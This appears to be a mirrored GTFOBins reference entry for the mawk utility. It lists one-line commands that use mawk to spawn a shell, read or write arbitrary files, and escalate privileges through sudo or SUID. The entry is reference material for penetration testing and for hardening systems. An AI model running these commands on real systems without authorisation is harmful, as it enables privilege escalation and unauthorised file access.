mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
18 lines
393 B
Markdown
18 lines
393 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: mawk 'BEGIN {system("/bin/sh")}'
|
|
file-write:
|
|
- code: |
|
|
LFILE=file_to_write
|
|
mawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
mawk '//' "$LFILE"
|
|
sudo:
|
|
- code: sudo mawk 'BEGIN {system("/bin/sh")}'
|
|
limited-suid:
|
|
- code: ./mawk 'BEGIN {system("/bin/sh")}'
|
|
---
|